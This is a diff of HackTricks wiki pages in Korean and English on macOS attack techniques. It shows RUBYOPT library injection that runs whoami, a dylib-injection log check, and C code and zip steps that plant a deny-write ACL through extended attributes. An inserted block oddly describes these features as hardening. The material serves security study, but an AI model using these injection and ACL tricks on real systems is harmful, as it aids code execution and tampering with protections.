텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 더 큰 규모
|
## 더 큰 규모
|
||||||
|
|
||||||
의도하지 않은 이진 파일에 라이브러리를 주입하려는 경우 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 찾을 수 있습니다 (이 경우 printf와 `/bin/bash` 실행을 제거하십시오).
|
예상치 못한 바이너리에 라이브러리를 주입하려고 계획하고 있다면, 프로세스 내에서 라이브러리가 로드될 때를 알아내기 위해 이벤트 메시지를 확인할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오).
|
||||||
```bash
|
```bash
|
||||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# macOS Ruby 애플리케이션 인젝션
|
# macOS Ruby Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## RUBYOPT
|
## RUBYOPT
|
||||||
|
|
||||||
이 환경 변수를 사용하면 **ruby**가 실행될 때 **새로운 매개변수를 추가**할 수 있습니다. **`-e`** 매개변수를 사용하여 실행할 루비 코드를 지정할 수는 없지만, **`-I`** 및 **`-r`** 매개변수를 사용하여 라이브러리 로드 경로에 새 폴더를 추가하고 **로드할 라이브러리를 지정**할 수 있습니다.
|
이 환경 변수를 사용하면 **ruby**가 실행될 때마다 **새로운 매개변수**를 **추가**할 수 있습니다. 매개변수 **`-e`**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **`-I`**와 **`-r`**를 사용하여 로드 경로에 새 폴더를 추가한 다음 **로드할 라이브러리**를 **지정**할 수 있습니다.
|
||||||
|
|
||||||
**`/tmp`**에 **`inject.rb`** 라이브러리를 생성하세요:
|
라이브러리 **`inject.rb`**를 **`/tmp`**에 생성합니다:
|
||||||
|
|
||||||
{% code title="inject.rb" %}
|
{% code title="inject.rb" %}
|
||||||
```ruby
|
```ruby
|
||||||
|
@ -26,7 +27,7 @@ puts `whoami`
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
어디에서나 다음과 같은 루비 스크립트를 생성하십시오:
|
어디에나 다음과 같은 루비 스크립트를 만드세요:
|
||||||
|
|
||||||
{% code title="hello.rb" %}
|
{% code title="hello.rb" %}
|
||||||
```ruby
|
```ruby
|
||||||
|
@ -34,24 +35,25 @@ puts 'Hello, World!'
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
그런 다음 임의의 루비 스크립트를 만들고 다음과 같이 로드하십시오:
|
그런 다음 임의의 루비 스크립트가 이를 로드하도록 하십시오:
|
||||||
```bash
|
```bash
|
||||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||||
```
|
```
|
||||||
재미있는 사실은, **`--disable-rubyopt`** 매개변수와 함께도 작동한다는 것입니다:
|
재미있는 사실, **`--disable-rubyopt`** 매개변수와 함께 작동합니다:
|
||||||
```bash
|
```bash
|
||||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,27 +1,33 @@
|
||||||
# macOS xattr-acls extra stuff
|
# macOS xattr-acls 추가 정보
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
```bash
|
||||||
|
rm -rf /tmp/test*
|
||||||
|
echo test >/tmp/test
|
||||||
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||||
|
./get_acls test
|
||||||
|
ACL for test:
|
||||||
|
!#acl 1
|
||||||
|
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||||
|
|
||||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||||
|
```
|
||||||
````
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>get_acls 코드</summary>
|
<summary>get_acls의 코드</summary>
|
||||||
```c
|
```c
|
||||||
// gcc -o get_acls get_acls
|
// gcc -o get_acls get_acls
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -61,47 +67,122 @@ acl_free(acl);
|
||||||
acl_free(acl_text);
|
acl_free(acl_text);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
````
|
```
|
||||||
|
```markdown
|
||||||
|
<details>
|
||||||
|
<summary>macOS 파일 시스템 트릭</summary>
|
||||||
|
|
||||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
macOS는 파일 시스템에 대한 여러 가지 보안 보호 기능을 제공합니다. 이 문서에서는 macOS의 xattr(확장 속성) 및 ACL(접근 제어 목록)과 같은 기능을 활용하여 보안을 강화하는 방법을 설명합니다.
|
||||||
|
|
||||||
|
## xattr
|
||||||
|
|
||||||
|
xattr는 파일에 추가 메타데이터를 저장할 수 있는 기능입니다. 이 메타데이터는 파일의 보안 및 무결성을 강화하는 데 사용될 수 있습니다.
|
||||||
|
|
||||||
|
## ACL
|
||||||
|
|
||||||
|
ACL은 파일 및 디렉토리에 대한 세부적인 접근 제어를 제공합니다. 이를 통해 특정 사용자 또는 그룹에 대한 권한을 세밀하게 조정할 수 있습니다.
|
||||||
|
|
||||||
|
## 추가 정보
|
||||||
|
|
||||||
|
macOS의 보안 기능을 활용하여 시스템을 강화하는 방법에 대한 더 많은 정보는 Apple의 공식 문서를 참조하십시오.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
```
|
||||||
|
```bash
|
||||||
|
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||||
|
mkdir start
|
||||||
|
mkdir start/protected
|
||||||
|
./set_xattr start/protected
|
||||||
|
echo something > start/protected/something
|
||||||
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>set_xattr의 코드</summary>
|
<summary>set_xattr의 코드</summary>
|
||||||
|
```c
|
||||||
|
// gcc -o set_xattr set_xattr.c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/xattr.h>
|
||||||
|
#include <sys/acl.h>
|
||||||
|
|
||||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
|
||||||
|
|
||||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
void print_xattrs(const char *filepath) {
|
||||||
|
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||||
|
if (buflen < 0) {
|
||||||
|
perror("listxattr");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
char *buf = malloc(buflen);
|
||||||
|
if (buf == NULL) {
|
||||||
|
perror("malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||||
|
if (buflen < 0) {
|
||||||
|
perror("listxattr");
|
||||||
|
free(buf);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
printf("All current extended attributes for %s:\n", filepath);
|
||||||
|
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||||
|
printf("%s: ", name);
|
||||||
|
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||||
|
if (valuelen < 0) {
|
||||||
|
perror("getxattr");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
char *value = malloc(valuelen + 1);
|
||||||
|
if (value == NULL) {
|
||||||
|
perror("malloc");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||||
|
if (valuelen < 0) {
|
||||||
|
perror("getxattr");
|
||||||
|
free(value);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
value[valuelen] = '\0'; // Null-terminate the value
|
||||||
|
printf("%s\n", value);
|
||||||
|
free(value);
|
||||||
|
}
|
||||||
|
|
||||||
free(buf); }
|
free(buf);
|
||||||
|
}
|
||||||
|
|
||||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
|
||||||
|
|
||||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
int main(int argc, char *argv[]) {
|
||||||
|
if (argc != 2) {
|
||||||
|
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||||
|
const char *filepath = argv[1];
|
||||||
|
|
||||||
print\_xattrs(filepath);
|
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||||
|
if (result == 0) {
|
||||||
|
printf("Extended attribute set successfully.\n\n");
|
||||||
|
} else {
|
||||||
|
perror("setxattr");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
return 0; }
|
print_xattrs(filepath);
|
||||||
|
|
||||||
````
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
{% code overflow="wrap" %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Create appledoublefile with the xattr entitlement
|
# Create appledoublefile with the xattr entitlement
|
||||||
ditto -c -k start protected.zip
|
ditto -c -k start protected.zip
|
||||||
|
@ -115,10 +196,24 @@ rm -rf protected.zip
|
||||||
zip -r protected.zip protected ._protected
|
zip -r protected.zip protected ._protected
|
||||||
rm -rf protected
|
rm -rf protected
|
||||||
rm ._*
|
rm ._*
|
||||||
````
|
```
|
||||||
|
{% endcode %}
|
||||||
|
```bash
|
||||||
|
# Check if it worked
|
||||||
|
ditto -x -k --rsrc protected.zip .
|
||||||
|
xattr -l protected
|
||||||
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,35 +1,36 @@
|
||||||
# macOS 샌드박스
|
# macOS Sandbox
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
MacOS 샌드박스(초기에는 Seatbelt라고 불렸음)은 샌드박스 프로필에서 지정된 허용된 작업으로 샌드박스 내에서 실행되는 애플리케이션을 **제한**합니다. 이를 통해 **애플리케이션이 예상된 리소스에만 액세스**하도록 보장합니다.
|
MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되는 애플리케이션의** **허용된 작업을 샌드박스 프로필에 지정된 대로 제한**합니다. 이는 **애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움**이 됩니다.
|
||||||
|
|
||||||
**`com.apple.security.app-sandbox`** **엔타이틀먼트**를 가진 **어떤 앱이든 샌드박스 내에서 실행**됩니다. **Apple 바이너리**는 일반적으로 샌드박스 내에서 실행되며 **App Store**에 게시하기 위해서는 **이 엔타이틀먼트가 필수**입니다. 따라서 대부분의 애플리케이션은 샌드박스 내에서 실행됩니다.
|
**`com.apple.security.app-sandbox`** 권한을 가진 모든 앱은 샌드박스 내에서 실행됩니다. **Apple 바이너리**는 일반적으로 샌드박스 내에서 실행되며, **App Store**에 배포하기 위해서는 **이 권한이 필수적**입니다. 따라서 대부분의 애플리케이션은 샌드박스 내에서 실행됩니다.
|
||||||
|
|
||||||
프로세스가 수행할 수 있는 작업을 제어하기 위해 **샌드박스에는 커널 전체의 모든 시스콜에 후크**가 있습니다. 앱의 **엔타이틀먼트**에 따라 샌드박스는 특정 작업을 **허용**할 수 있습니다.
|
